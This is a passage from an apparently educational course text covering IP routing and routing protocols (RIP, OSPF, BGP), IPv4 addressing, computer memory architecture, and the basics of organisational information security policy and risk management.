Host A sends a packet to Host D. Host A learns Host D’s IP address and creates an IP packet with 172.16.7.16 and 192.168.1.226 as the source and destination addresses, respectively. As above, A determines that D is on a different subnet, uses ARP to determine R1’s MAC address, and creates a frame using its MAC address as the source and R1’s MAC address as the destination. When the packet arrives at R1, the router realizes that it has to forward the packet on the Internet. R1 may or may not use static routing to get the packet into the Internet, but eventually some routers will use dynamic routing information from tables populated using routing protocols. At every hop along the way, the IP packet remains essentially unchanged while the Data Link Layer frame changes at every hop. Router R2 eventually sees the packet and determines that host D is on the same subnet. Using ARP to determine D’s MAC address, R2 then creates a frame using its MAC ad-dress as the source and D’s MAC address as the destination.

Figure 1.9

NET

WO

RKIN

G C

ON

CEPT

S

26

Routing Protocol

Routing protocols enable routers to communicate routing information with each other. Again, it is the rout-ing protocols that provide the information so that IP devices can keep their dynamic routing tables current. All routers that exchange routing information must use the same routing protocol.

There are several routing protocols commonly used in today’s networks and also a couple of ways to classi-fy these protocols. One way to classify routing protocols is by how much communication the routers have among each other.

Distance Vector

With a distance vector routing protocol, routers maintain a table of the next hop on the best route towards all known networks and a metric that is a measure of the “cost” of the route; different distance vector proto-cols will define cost differently, but all assume the least cost route to be the best. Note that the routing table contains the best route known at this time to get to a given network; it does not maintain a list of alternative routes.

Periodically each router will send a portion of its routing table to all of its neighbour routers, defined as those routers that are directly connected to it (including other routers on the same LAN or those with a direct physical connection). A router receiving a routing table from another router will compare the incom-ing table to its current routing table to see if the new information indicates a new or better route; if so, the receiving router will update its tables.

Link State

With a link state protocol, every router maintains information about all routers and router-to-router link states within some geographic scope, also called a routing domain or autonomous system (AS). Given this information, every router can create for itself a table of best routes to all known points within the AS, includ-ing the node that will carry traffic outside of the AS. If the state of a link changes, the routers that detect the change will broadcast the link state change only to all routers within the AS.

NOTE: In physics, a vector is a measure of something that has both magnitude and direction, such as “the car was proceeding due north at 55 miles per hour.” A distance vector routing protocol is similar; the routing table contains the next hop (direction) and metric (magnitude) of the route but generally does not know the entire route to the destination network.

Consider a link state protocol using a map analogy. If you want to drive from California to Vermont, you need a detailed map of California, a detailed map of Vermont, and a general map of the U.S. freeway system. Each link state router knows the details of its local AS but does not (and needs not) know the network as a whole.

NETW

ORKIN

G CO

NCEPTS

27

Distance Vector vs Link State

Distance-vector protocols are older and simpler than link state protocols. Traditional older distance vector protocols do not scale well to large networks and use a lot of bandwidth because they frequently are send-ing their routing table on the network. Furthermore, they have a slow convergence time compared to link state schemes, meaning that they relatively are slow to stabilize in response to the changing traffic patterns of the network. Distance vector protocols are still widely used in small networks, but link state protocols are much more common on large networks and the larger Internet backbone.

A second way to classify routing protocols is by the network environment where they are employed. Recall that a router is called a gateway in ARPANET terminology. So-called interior gateway protocols (IGPs) are used within a single organization’s network, such as a company or ISP network, where there is a single rout-ing authority. Exterior gateway protocols (EGPs) are used between two organizations’ networks.

NOTE : “EGP” stands for exterior gateway protocol, which refers to a class of routing protocols as defined above. “EGP” also stands for Exterior Gateway Protocol, a specific routing protocol used in the 1980s and early 1990s. Unless otherwise noted, “EGP” in this module refers to the class of exterior gateway protocols.

RIP

The Routing Information Protocol (RIP), described in RFC 1058, is a distance vector protocol used for interior gateway routing. With RIP, a router sends a portion of its routing table to its neighbours every 30 seconds. RIP uses hop count as the sole metric of a path’s cost, and a path is limited to 16 hops. RIP has become in-creasingly inefficient on the Internet as the network continues its fast rate of growth, so it is mostly used by small ISPs or within corporate networks. RIP messages are transported in UDP datagrams using port 520.

RIP version 2 (RIP-2) is described in RFC 2453. The primary difference between the two versions is that RIP only supports classful IP addressing while RIP-2 carries the subnet mask along with the address, so it can support variable-length subnet masks (VLSM). RIP (also called RIP-1) is still more commonly deployed than RIP-2.

At approximately 30 second intervals, each router will send a portion of its routing table to its neighbour router(s). So, for example, the router attached to the 192.168.4.0 network will send its routing information to the routers on the 192.168.1.0 and 192.168.5.0 networks.

The information sent by the router is a subset of the full routing table; in particular, the table will contain only the destination NET_ID and hop count but not the next hop. Before sending this information, the send-ing router will increment the hop count by one, the theory being that if the sending router is x hops from a given destination, its neighbour must be x+1 hops from that same destination, routing via the sending router. When the neighbour routers receive this information, they will compare the advertised hop count to the destination networks with the hop count that they already know; if the advertised hop count is less than the current hop count, the router receiving the new information will update its routing table to reflect the new hop count and the sending router as the next hop.

NET

WO

RKIN

G C

ON

CEPT

S

28

A minor point worth noting is that the routers’ tables don’t appear to have information about any of the 10.1.1.0 links. In fact, the routers don’t need to know any of the “10” addresses because there are no hosts to route packets to on the “10” network. In addition, note that the “10” addresses appear to use a /30 subnet mask so that there is a pair of addresses per link. If we did want to include information about the “10” ad-dresses, RIP-1 would not be able to handle this use of VLSMs and RIP-2 would be needed.

In addition to its slow convergence, RIP suffers from some other problems that make it unsuitable for large networks. One of the biggest problems is RIP’s propensity to create route loops.

An example of a routing loop is where Router A directs all of its traffic to Router B, Router B directs all of its traffic to Router C, and Router C directs all of its traffic to Router A. There are a number of reasons that this abnormal behaviour might occur: one of them being RIP is slow to converge. Suppose that Router A has a direct connection to some network; Router B is a neighbour of Router A; and Router C has an indirect connection through many hops to the same network. At this point, say, both Routers B and C will send their traffic through Router A. Now suppose that the link from Router A to that network goes down. Router A will learn that there is an alternative route through Router B without knowing that Router B thinks that it will be routing back to Router A; this is a result of RIP sending only a subset of the routing table, which results in no single router having a good view of the entire network. To continue the example, Routers A and B will continue to point to each other (this is called “counting to infinity”) until they eventually find Router C which, unknown to both A and B, thinks that Router A is the next hop. We now have an official RIP routing loop.

There are a number of RIP modifications that eliminate routing loop problems by limiting the amount of information that RIP routers will advertise to, or learn from other routers when links or routers fail. Split horizon is a RIP rule that says that a router should never send information about a route back on the physical interface from which the information originally came. Poison reverse is a variation of split horizon, where a router will actually advertise information telling about the unsuitability of a particular route; in the example above, Router A would have set the hop count to the target network to 16 (RIP’s approximation of infinity) immediately after detecting the fault, to avoid the counting to infinity problem. Hold-down timers also are used so that routing table entries are not modified for some period of time, allowing sufficient time so that all routers can make the update. All of these solutions, however, just make convergence take even longer. In a large RIP network, it might take up to 8 minutes for information known to one router toripple to all of the routers in the network.

From a security perspective, RIP has other vulnerabilities. The biggest is that the routers generally do not employ any form of authentication when receiving and accepting routing table updates. An attacker could, theoretically, send false routing information to a RIP router. The fact that RIP operates over UDP suggests that IP address spoofing might work well for the attacker to hide his or her tracks.

OSPF

The Open Shortest Path First protocol version 2 (OSPFv2), described in RFC 2328, is a link state routing al-gorithm also used for interior gateway routing. In OSPF, routers maintain a database of all routers in the AS, links between those routers, link costs, and link states (i.e., up or down). A router broadcasts changes in its links’ statuses rather than entire routing tables; these broadcasts are sent to every router within the AS. OSPF is more robust than RIP, adjusts to changes in the network faster, requires less network bandwidth, and is better able to scale to larger networks. For these reasons, it rapidly is replacing RIP in the Internet.

NETW

ORKIN

G CO

NCEPTS

29

The first version of OSPF, like RIP-1, only supported IP classful addressing. OSPFv2 is now the common imple-mentation, having replaced the original OSPF. An even newer version, OSPFv3, currently is being drafted to support IPv6 addresses. OSPF messages are carried directly in IP packets using IP protocol number 89.

In OSPF, all routers contain a routing table looking much like the one shown for the router on the 192.168.1.0 network. Unlike RIP, however, each router also maintains a network “map” that basically is a tree structure showing the best path from this router to all other routers. The OSPF tree is built using Dijkstra’s shortest path first (SPF) algorithm, which is the same conceptual method as building a PERT chart for project management.

Although not yet widely implemented, OSPF supports the ability to use passwords or digital signatures to authenticate routing updates. This feature greatly improves OSPF’s ability to withstand an attacker sending false routing updates.

NOTE: OSPF is a non-proprietary, or open, IETF protocol. This is the reason that the word “open” is part of the name

BGP

The Border Gateway Protocol version 4 (BGP-4), described in RFC 1771, is an exterior gateway routing pro-tocol used for the exchange of routing information between autonomous systems (i.e., inter-AS routing). BGP-4 is a distance vector protocol but with some significant differences from RIP. BGP routers exchange entire routing tables rather than a subset. Also, BGP messages are carried using TCP (port 179) rather than UDP, which provides reliable router-to-router communication. BGP routing tables also describe routing to an autonomous system rather than to a network.

BGP-4 supports variable-length subnet masks and policy-based routing, which allows network administra-tors to create routing policies based on political, security, legal, or economic issues, rather than just on “least cost” or “lowest metric.”

Consider this example of policy-based routing. Suppose the European Union (EU) decides to create a policy that says that all packets originating from the EU and destined for another host within the EU cannot be routed outside of the EU. Further suppose that the least cost route from a French host to a host in the U.K. was through the MAE-East NAP in Washington, D.C. The least cost routing, in this case, would violate the policy, so another route would need to be found that was wholly within the EU. BGP has the capability to en-force traditional least-cost as well as policy-based routing decisions. In addition, BGP-4 has an authentication option that allows the identity of the sender of routing messages to be verified before updates are accepted.

NET

WO

RKIN

G C

ON

CEPT

S

30

CASE STUDY - Cisco Router

This module has, to this point, discussed routers and routing from a somewhat theoretical perspective. To make this information a little more real, we will look at a specific set of routers, namely those made by Cisco Systems.

Some router products advertise themselves as “plug ‘n’ play.” Except for very simple routing devices, such as those used in home ADSL/cable modem applications, there is really no such thing as a plug ‘n’ play router; there are just too many parameters to take into account. Router configuration, while not terribly difficult, is something that usually should be left to someone familiar with the equipment and who has appropriate training.

The LAN and WAN interface information, particularly addresses, is required, as is the form of encapsulation and the supported network protocols (IP is the only one needed for the Internet). Routing has to be accom-modated somehow, either by specifying the routing protocol or providing a static route. The other listed items are optional on a simple Internet connection but may be required on more complex configurations.

The remainder of this module will discuss Cisco-specific software, although many of the features described here are available in other vendors’ routers as well. The Cisco router operating system is called the Internet-working Operating System (IOS). IOS controls the operation of the router and provides a command line user interface.

A router’s primary role is to connect different networks together and to route traffic from source to destina-tion. In order to determine how to do that, the router needs a configuration file containing the information to manage its operation. These configuration files are operating system specific; IOS is used only across the Cisco router family and not on other vendors’ equipment so that an IOS configuration file is useless on a non-Cisco router. The router configuration file includes IP address information, routing information, avail-able services, passwords, access control lists, and other operational preferences. Most of this information is loaded when the router is started.

A Cisco router startup process is similar to that of a PC. First, the hardware is checked and a system self-test performed to ensure that all of the expected components are present and that everything is working prop-erly. Second, the router’s operating system is loaded. Finally, the router configuration information is applied so that the router can start operation

NETW

ORKIN

G CO

NCEPTS

31

IP Concepts

Every machine on the the Internet has a unique number assigned to it, called an IP address. Without a unique IP address on your machine, you will not be able to communicate with other devices, users, and computers on the Internet. You can look at your IP address as if it were a telephone number, each one being unique and used to identify a way to reach you and only you.

IPv4 and IPv6 Addresses

There are two flavors of IP Addresses that can be used on a network. The first, and the version that the In-ternet and most routers are currently configured for, is IPv4 or Internet Protocol version 4. This version uses 32-bit addresses, which limits the amount of addresses to 4,294,967,296 possible unique addresses. Some of these addresses, about 290 million, are also reserved for special purposes. Due to the popular growth of the Internet there has been concern that the pool of possible addresses would be exhausted in the near future. With this in mind, a new version of IP addresses was developed called IPv6, or Internet Protocol version 6, that would change the address size from 32-bit address to 128-bit addresses. This change would allow for generous IP address allocations to networks without any foreseeable problem with the amount of addresses available. In order to use IPv6 addresses, though, existing routers and hardware would need to be upgraded or configured to use this new version of IP addresses.

The Address Itself

An IP address always consists of 4 numbers separated by periods, with the numbers having a possible range of 0 through 255. An example of how an IP address appears is: 192.168.1.10

This representation of an IP address is called decimal notation and is what is generally used by humans to refer to an IP address for readability purposes. With the ranges for each number being between 0 and 255 there are a total 4,294,967,296 possible IP addresses.

Out of these addresses there are 3 special ranged that are reserved for special purposes. The first is the 0.0.0.0 address and refers to the default network and the 255.255.255.255 address which is called the broadcast address. These addresses are used for routing, which will not be covered in this tutorial. The third address, 127.0.0.1, is the loopback address, and refers to your machine. Whenever you see, 127.0.0.1, you are actually referring to your own machine. That means if you clicked on this link, http://127.0.0.1, you are actually trying to connect to your own computer, and unless you have a web server running, you will get a connection error.

There are some guidelines to to how IP address can appear, though. The four numbers must be between 0 and 255, and the IP address of 0.0.0.0 and 255.255.255.255 are reserved, and are not considered usable IP addresses. IP addresses must be unique for each computer connected to a network. That means that if you have two computers on your network, each must have a different IP address to be able to communicate with each other. If by accident the same IP address is assigned to two computers, then those computers would have what is called an “IP Conflict” and not be able to communicate with each other.

IP C

ON

CEPT

S

32

If you look at the table you may notice something strange. The range of IP address from Class A to Class B skips the 127.0.0.0-127.255.255.255 range. That is because this range is reserved for the special addresses called Loopback addresses that have already been discussed above.

The rest of classes are allocated to companies and organizations based upon the amount of IP addresses that they may need. Listed below are descriptions of the IP classes and the organizations that will typically receive that type of allocation.

Default Network: The special network 0.0.0.0 is generally used for routing.

Class A : From the table above you see that there are 127 class A networks. These networks consist of 16,777,214 possible IP addresses that can be assigned to devices and computers. This type of allocation is generally given to very large networks such as multi-national companies.

Loopback: This is the special 127.0.0.0 network that is reserved as a loopback to your own computer. These addresses are used for testing and debugging of your programs or hardware.

Class B : This class consists of 16,384 individual networks, each allocation consisting of 65,534 possible IP ad-dresses. These blocks are generally allocated to Internet Service Providers and large networks, like a college or major hospital.

Class C : There is a total of 2,097,152 Class C networks available, with each network consisting of 255 individ-ual IP addresses. This type of class is generally given to small to mid-sized companies.

Class D : The IP addresses in this class are reserved for a service called Multicast.

Class E : The IP addresses in this class are reserved for experimental use.

Broadcast: This is the special network of 255.255.255.255, and is used for broadcasting messages to the en-tire network that your computer resides on.

IP CON

CEPTS

33

Private Addresses

There are also blocks of IP addresses that are set aside for internal private use for computers not directly connected to the Internet. These IP addresses are not supposed to be routed through the Internet, and most service providers will block the attempt to do so. These IP addresses are used for internal use by company or home networks that need to use TCP/IP but do not want to be directly visible on the Internet. These IP ranges are:

Class A

10.0.0.0 Private Start Address

10.255.255.255 Private End Address

Class B

172.16.0.0 Private Start Address

172.31.255.255 Private End Address

Class C

192.168.0.0 Private Start Address

192.168.255.255 Private End Address

If you are on a home/office private network and want to use TCP/IP, you should assign your computers/de-vices IP addresses from one of these three ranges. That way your router/firewall would be the only device with a true IP address which makes your network more secure.

Common Problems and Resolutions

The most common problem people have is by accident assigning an IP address to a device on your network that is already assigned to another device. When this happens, the other computers will not know which device should get the information, and you can experience erratic behavior. On most operating systems and devices, if there are two devices on the local network that have the same IP address, it will generally give you a “IP Conflict” warning. If you see this warning, that means that the device giving the warning, detected another device on the network using the same address.

The best solution to avoid a problem like this is to use a service called DHCP that almost all home routers provide. DHCP, or Dynamic Host Configuration Protocol, is a service that assigns addresses to devices and computers. You tell the DHCP server what range of IP addresses you would like it to assign, and then the DHCP server takes the responsibility of assigning those IP addresses to the various devices and keeping track so those IP addresses are assigned only once.

IP C

ON

CEPT

S

34

Computer Architecture Fundamentals

To design a secure system, you first must have some understanding of how computers are designed. A modern, general-purpose computer requires several types of components, including:

Memory

Mass Storage

Input Device(s)

Output Device(s)

Central Processing Unit (CPU)

Software and Operating System

These components all work closely together. Indeed, they are sometimes so well integrated that the dis-tinctions between them seem to blur. Still, they are separate components, and the more you know about how they work, the better you can use that knowledge to protect your systems. We probably do not have to tell you much about hard drives and I/O devices because you interact with these directly every time you use a computer. There are, however, some concepts relating to memory, CPUs and operating systems that we would like to discuss. In this appendix, we will give you an overview of each of these components and explain a few terms and ideas we feel are important.

Memory

Computers run programs and operate on data, but to do that they need to have some place to store the information they are working with. That place is the system’s memory. It provides temporary storage for pro-grams and the data they need to run. Modern computer systems use Random Access Memory (RAM), mean-ing that the system can directly read or write any byte stored in memory, without affecting any of the other bytes. RAM is volatile and the chips need constant power to preserve their contents. When the computer loses power, all data stored in RAM is lost. In common use, RAM usually refers to the system’s main memory, that is, the memory that holds the running operating system, applications, and data. There are other types of RAM in a computer, though, which we discuss later.

Most computers also possess a certain amount of Read Only Memory (ROM). ROM is similar to RAM in that the bytes can be read individually, but there are two important differences. First, it cannot be modified, only read from. Second, unlike RAM, ROM does not require constant power to preserve its contents. If you turn off the power to your computer, the ROM still retains all its data. That is why ROM is typically used to store critical programs, such as the one that starts the boot process when the system powers up. Most systems contain a large amount of RAM and just a small bit of ROM, so unless we indicate otherwise, you can assume that when we say memory, we are talking about RAM.

COM

PUTER

ARCH

ITECTURE

FUN

DA

MEN

TALS

35

Figure 1.10

Dynamic versus Static

Most computers use two different types of RAM. The main memory is usually Dynamic RAM (DRAM). DRAM is considered dynamic because the system needs to constantly refresh the data stored there or it will be lost. The data is rewritten thousands of times each second, otherwise it would decay and become unusable. This sounds like a useless piece of technology, but in reality it is quite workable. After the CPU stores data in DRAM, the system’s supporting electronics automatically take care of refreshing it, freeing the rest of the system to go on to do other things. The constant refresh process makes accessing the memory a little slower, because the access can only occur between refresh cycles. However, DRAM is inexpensive, which more than makes up for its other faults. With typical computers being equipped with hundreds (or sometimes thou-sands) of megabytes of main memory, inexpensive DRAM keeps the price down to a manageable level.

COM

PUTE

R

ARC

HIT

ECTU

REFU

ND

AM

ENTA

LS

36

Cache Memory

Main memory is not the only place your computer uses RAM, though, and sometimes DRAM is just too slow for the task at hand. Most computers also include a small amount of Static RAM (SRAM). As long as it is supplied with electricity, SRAM keeps its contents safe without requiring constant refresh cycles. That means it is much faster, because the system can always immediately retrieve data stored in SRAM without waiting for a refresh cycle to complete. Unfortunately, SRAM is a lot more expensive than DRAM, which makes it unsuitable for use as main memory. SRAM is typically used as cache memory, a special fast storage buffer that holds copies of data or instructions likely to be requested soon by the CPU. Memory caching improves performance because many programs loop over the same data or program instructions several times. If this information is kept in cache, the computer can access it much more quickly than if it had to keep fetching it from the comparatively slow main memory.

Memory Addressing

The theoretical ability to store and retrieve data in memory is useless without the ability to tell the memory system where to store or fetch the data from. Each byte in memory is assigned a unique address that distin-guishes it from all other bytes. There are several ways for the system to specify the address, but in the end they all refer to the same location. They include:

Direct addressing: This is the simplest form of addressing. The system knows the exact location of the data in memory and requests the data by passing the actual address to the memory subsystem. Direct address-ing is sometimes referred to as absolute addressing.

Register direct addressing: The CPU contains tiny memory areas known as registers. Registers are tem-porary storage for the task the CPU is working on at that instant. In order to operate on values from main memory, the values must first be loaded into a register. Register direct addressing is slightly different from the other types of addressing in that it never refers to main memory. It simply refers to a specific register that already contains the required data.

Register indirect addressing: In this addressing mode, the system looks in the specified register for the data’s address in main memory.

Virtual Memory

All the different types of memory we have discussed until now correspond to physical hardware present in the system. In this section, though, we are going to discuss something a little bit different. Virtual memory (VM) is a set of memory addresses that are managed by the operating system that do not directly corre-spond to physical memory. To the CPU, virtual memory looks like physical memory. It can hold both pro-grams and data, but using virtual memory gives the operating system the choice of where to store the data.

COM

PUTER

ARCH

ITECTURE

FUN

DA

MEN

TALS

37

With physical memory, an address corresponds directly to a piece of hardware. If the physical address is specified, that is where the system will place the data. Physical addressing is very straightforward. Usually, though, the operating system manages this sort of thing. Using virtual memory, it maps the virtual address space into the physical address space. When the system needs to access a memory address, the OS can translate the virtual address into a physical one and fetch the data from the correct location. Why is this useful, you ask? Because virtual memory hides the actual storage location from the hardware, the OS is free to store the data wherever it likes, including a mass storage device like a hard drive. That lets the system address a larger amount of memory than it actually contains. For example, even if the system physically con-tains only 256MB of main memory, virtual memory would allow it to hold a theoretically unlimited amount of data inn memory.

The operating system uses part of the system’s main memory as a cache to hold the most recently or most frequently accessed data, while the rest is stored on the hard drive. When the CPU issues a request for more data, the OS first checks to see if the data is already stored in main memory. If so, it notifies the system of the data’s physical address and allows it to be read. If the data was not present in main memory, the OS fetches the data from the hard drive and copies it into main memory (perhaps first flushing some other old data from main memory back to the disk to make room). After the data is in main memory again, the OS notifies the system of its physical address and processing continues. When the CPU wants to write to virtual memo-ry, it writes to a physical address specified by the OS, which can then either keep the data in RAM for some time or flush it to the disk. This process of moving data to and from the hard disk is known as paging, and a request that results in paging is known as a page fault.

Firmware

Firmware is a type of program code somewhere between hardware and software. Firmware is generally the controlling software for a device, placed in a special type of ROM, which can be updated as new releases become available. We told you earlier that ROM means Read Only Memory, and as such you normally cannot update information stored there. Firmware is the exception, because it is stored in special ROM chips called Programmable Read Only Memory (PROM). A PROM is like a regular ROM, except the contents are blank when it is manufactured. It is meant for a system designer to program it later. After written, a standard PROM is immutable, which makes it useless for firmware, but there is another type called an Electrically Erasable PROM (EEPROM), sometimes also called flash memory. EEPROMs can be rewritten, although it is a slow pro-cess. Most computer BIOS chips are actually EEPROMs, so they can be updated as the manufacturer corrects defects or adds new BIOS features.

Memory Definitions

All types of PROMs, including EEPROMs, are actually special cases of a more general sort of technology, the Programmable Logic Device (PLD). Although PROMs are simply a type of memory, other PLD devices offer fully programmable logic circuits, making them ideal for prototyping new chip designs. Other common types of PLD include the Programmable Logic Array (PLA), Programmable Array Logic (PAL) and the Generic Array Logic (GAL) is sometimes also called Gate Array Logic). PAL and GAL devices are especially well suited for low-complexity, low cost applications. GAL chips are particularly popular because, unlike PALs, they are reprogrammable. PLA devices, on the other hand, offer the highest level of flexibility but at a higher cost.

COM

PUTE

R

ARC

HIT

ECTU

REFU

ND

AM

ENTA

LS

38

Information System Security - Overview

The purpose of information protection is to protect an organization’s valuable resources, such as informa-tion, hardware, and software. Through the selection and application of appropriate safeguards, security helps the organization meet its business objectives or mission by protecting its physical and financial re-sources, reputation, legal position, employees, and other tangible and intangible assets. We will examine the elements of computer security, employee roles and responsibilities, and common threats. We will also ex-amine the need for management controls, policies and procedures, and risk analysis. Finally, we will present a comprehensive list of tasks, responsibilities, and objectives that make up a typical information protection program.

Information protection should be based on eight major elements:

Information protection should support the business objectives or mission of the enterprise. This idea cannot be stressed enough. All too often, information security personnel lose track of their goals and responsibili-ties. The position of ISSO (Information Systems Security Officer) has been created to support the enterprise, not the other way around.

Information protection is an integral element of due care. Senior management is charged with two basic responsibilities: a duty of loyalty — this means that whatever decisions they make must be made in the best interest of the enterprise. They are also charged with a duty of care — this means that senior management is required to protect the assets of the enterprise and make informed business decisions. An effective informa-tion protection program will assist senior management in meeting these duties.

Information protection must be cost effective. Implementing controls based on edicts is counter to the business climate. Before any control can be proposed, it will be necessary to confirm that a significant risk exists. Implementing a timely risk analysis process can complete this. By identifying risks and then proposing appropriate controls, the mission and business objectives of the enterprise will be better met.

Information protection responsibilities and accountabilities should be made explicit. For any program to be effective, it will be necessary to publish an information protection policy statement and a group mission statement. The policy should identify the roles and responsibilities of all employees. To be completely effec-tive, the language of the policy must be incorporated into the purchase agreements for all contract person-nel and consultants.

System owners have information protection responsibilities outside their own organization. Access to information will often extend beyond the business unit or even the enterprise. It is the responsibility of the information owner (normally the senior level manager in the business that created the information or is the primary user of the information). One of the main responsibilities is to monitor usage to ensure that it com-plies with the level of authorization granted to the user.

Information protection requires a comprehensive and integrated approach. To be as effective as possi-ble, it will be necessary for information protection issues to be part of the system development life cycle. During the initial or analysis phase, information protection should receive as its deliverables a risk analysis, a business impact analysis, and an information classification document. Additionally, because information is resident in all departments through- out the enterprise, each business unit should establish an individual responsible for implementing an information protection program to meet the specific business needs of the department.

INFO

RMATIO

N SYSTEM

SSECU

RITY

39

Information protection should be periodically reassessed. As with anything, time changes the needs and objectives. A good information protection program will examine itself on a regular basis and make changes wherever and whenever necessary. This is a dynamic and changing process and therefore must be reassessed at least every 18 months.

Information protection is constrained by the culture of the organization. The ISSO must understand that the basic information protection program will be implemented throughout the enterprise. However, each busi-ness unit must be given the latitude to make modifications to meet its specific needs. If your organization is multinational, it will be necessary to make adjustments for each of the various countries.

Information protection is a means to an end and not the end in itself. In business, having an effective informa-tion protection program is usually secondary to the need to make a profit. In the public sector, information protection is secondary to the agency’s services provided to its constancy. We, as security professionals, must not lose sight of these goals and objectives.

Computer systems and the information processed on them are often considered critical assets that support the mission of an organization. Protecting them can be as important as protecting other organizational resources such as financial resources, physical assets, and employees. The cost and benefits of information protection should be carefully examined in both monetary and non-monetary terms to ensure that the cost of controls does not exceed the expected benefits. Information protection controls should be appropriate and proportionate.

The responsibilities and accountabilities of the information owners, providers, and users of computer services and other parties concerned with the protection of information and computer assets should be explicit. If a system has external users, its owners have a responsibility to share appropriate knowledge about the ex-istence and general extent of control measures so that other users can be confident that the system is ade-quately secure. As we expand the user base to include suppliers, vendors, clients, customers, shareholders, and the like, it is incumbent upon the enterprise to have clear and identifiable controls. For many organizations, the initial sign-on screen is the first indication that there are controls in place. The message screen should include three basic elements:

1. The system is for authorized users only

2. That activities are monitored

3. That by completing the sign-on process, the user agrees to the monitoring

Providing effective information protection requires a comprehensive approach that considers a variety of areas both within and outside the information technology area. An information protection program is more than establishing controls for the computer-held data. In 1965 the idea of the “paperless office” was first intro-duced. The advent of third-generation computers brought about this concept.

However, today the bulk of all of the information available to employees and others is still found in printed form. To be an effective program, information protection must move beyond the narrow scope of IT and ad-dress the issues of enterprise wide information protection. A comprehensive program must touch every stage of the information asset life cycle from creation to eventual destruction.

INFO

RMAT

ION

SYS

TEM

S S

ECU

RITY

40

Employee Mind Set towards Controls

Access to information and the environments that process them are dynamic. Technology and users, data and informa-tion in the systems, risks associated with the system, and security requirements are ever changing. The ability of infor-mation protection to support business objectives or the mission of the enterprise may be limited by various factors, such as the current mind-set toward controls.

A highly effective method of measuring the current attitude toward information protection is to conduct a “walk-about.” After hours or on a weekend, conduct a review of the workstations throughout a specific area (usually a depart-ment or a floor) and look for just five basic control activities:

BASIC CONTROL OFFICE SECURED

DESK & CABINETS SECURED

WORKSTATION SECURED

REMOVABLE MEDIA SECURED

When conducting an initial “walk-about,” the typical office environment will have a 90 to 95 percent noncompliance rate with at least one of these basic control mechanisms. The result of this review should be used to form the basis for an initial risk analysis to determine the security requirements for the workstation. When conducting such a review, employee privacy issues must be remembered.

Roles and Responsibilities

As discussed, senior management has the ultimate responsibility for protecting the organization’s information assets. One of these responsibilities is the establishment of the function of Corporate Information Officer (CIO). The CIO directs the organization’s day-to-day management of information assets. The ISSO and Security Administrator should report directly to the CIO and are responsible for the day-to-day administration of the information protection program.

Supporting roles are performed by the service providers and include Systems Operations, whose personnel design and operate the computer systems. They are responsible for implementing technical security on the systems. Telecommu-nications is responsible for providing communication services, including voice, data, video, and fax. The information protection professional must also establish strong working relationships with the audit staff. If the only time you see the audit staff is when they are in for a formal audit, then you probably do not have a good working relationship. It is vitally important that this liaison be established and that you meet to discuss common problems at least each quarter.

Other groups include the physical security staff and the contingency planning group. These groups are responsible for establishing and implementing controls and can form a peer group to review and discuss controls. The group respon-sible for application development methodology will assist in the implementation of information protection require-ments in the application system development life cycle. Quality Assurance can assist in ensuring that information protection requirements are included in all development projects prior to movement to production.

The Procurement group can work to get the language of the information protection policies included in the purchase agreements for contract personnel. Education and Training can assist in developing and conducting information protection awareness programs and in training supervisors in the responsibility to monitor employee activities. Human Resources will be the organization responsible for taking appropriate action for any violations of the organization’s information protection policy.

INFO

RMATIO

N SYSTEM

SSECU

RITY

41

Common Threats

Information processing systems are vulnerable to many threats that can inflict various types of damage that can result in significant losses. This damage can range from errors harming database integrity to fires de-stroying entire complexes. Losses can stem from the actions of supposedly trusted employees defrauding a system, from outside hackers, or from careless data entry. Precision in estimating information protection related losses is not possible because many losses are never discovered, and others are hidden to avoid unfavorable publicity.

The typical computer criminal is an authorized, nontechnical user of the system who has been around long enough to determine what actions would cause a “red flag” or an audit. The typical computer criminal is an employee. According to a recent survey in “Current and Future Danger: A CSI Primer on Computer Crime & Information Warfare,” more than 80 percent of the respondents identified employees as a threat or potential threat to information security. Also included in this survey were the competition, contract personnel, public interest groups, suppliers, and foreign governments.

The chief threat to information protection is still errors and omissions. This concern continues to make up 65 percent of all information protection problems. Users, data entry personnel, system operators, programmers, and the like frequently make errors that contribute directly or indirectly to this problem.

Dishonest employees make up another 13 percent of information protection problems. Fraud and theft can be committed by insiders and outsiders, but it more likely to be done by a company’s own employees. In a related area, disgruntled employees make up another 10 percent of the problem. Employees are most familiar with the organization’s information assets and processing systems, including knowing what actions might cause the most damage, mischief, or sabotage.

Common examples of information protection related employee sabotage include destroying hardware or facilities, planting malicious code (viruses, worms, Trojan horses, etc.) to destroy data or programs, entering data incorrectly, deleting data, altering data, and holding data “hostage.”

The loss of the physical facility or the supporting infrastructure (power failures, telecommunications disrup-tions, water outage and leaks, sewer problems, lack of transportation, fire, flood, civil unrest, strikes, etc.) can lead to serious problems and make up 8 percent of information protection related problems.

The final area comprises malicious hackers or crackers. These terms refer to those who break into computers without authorization or exceed the level of authorization granted to them. While these problems get the largest amount of press coverage and movies, they only account for five to eight percent of the total picture. They are real and they can cause a great deal of damage. But when attempting to allocate limited informa-tion protection resources, it may be better to concentrate efforts in other areas. To be certain, conduct a risk analysis to see what the exposure might be.

INFO

RMAT

ION

SYS

TEM

S S

ECU

RITY

42

Policies and Procedures

In information protection policy is the documentation of enterprise wide decisions on handling and pro-tecting information. In making these decisions, managers face difficult choices involving resource alloca-tion, competing objectives, and organization strategy related to protecting both technical and information resources as well as guiding employee behavior.

When creating an information protection policy, it is best to understand that information is an asset of the enterprise and is the property of the organization. As such, information reaches beyond the boundaries of IT and is present in all areas of the enterprise. To be effective, an information protection policy must be part of the organization’s asset management program and be enterprise wide.

There are as many forms, styles, and kinds of policy as there are organizations, businesses, agencies, and universities. In addition to the various forms, each organization has a specific culture or mental model on what and how a policy is to look and who should approve the document. The key point here is that every organization needs an information protection policy. According to the 2010 CSI report on Computer Crime, 65 percent of respondents to its survey admitted that they do not have a written policy. The beginning of an information protection program is the implementation of a policy. The program policy creates the organization attitude towards information and announces internally and externally that information is an asset and the property of the organization and is to be protected from unauthorized access, modification disclosure, and destruction

 

Risk Management

Risk is the possibility of something adverse happening. The process of risk management is to identify those risks, assess the likelihood of their occurrence, and then taking steps to reduce the risk to an acceptable level. All risk analysis processes use the same methodology. Determine the asset to be reviewed. Identify the risk, issues, threats, or vulnerabilities. Assess the probability of the risk occurring and the impact to the asset or the organization should the risk be realized. Then identify controls that would bring the impact to an acceptable level.

INFO

RMATIO

N SYSTEM

SSECU

RITY

43

Risk Assesment

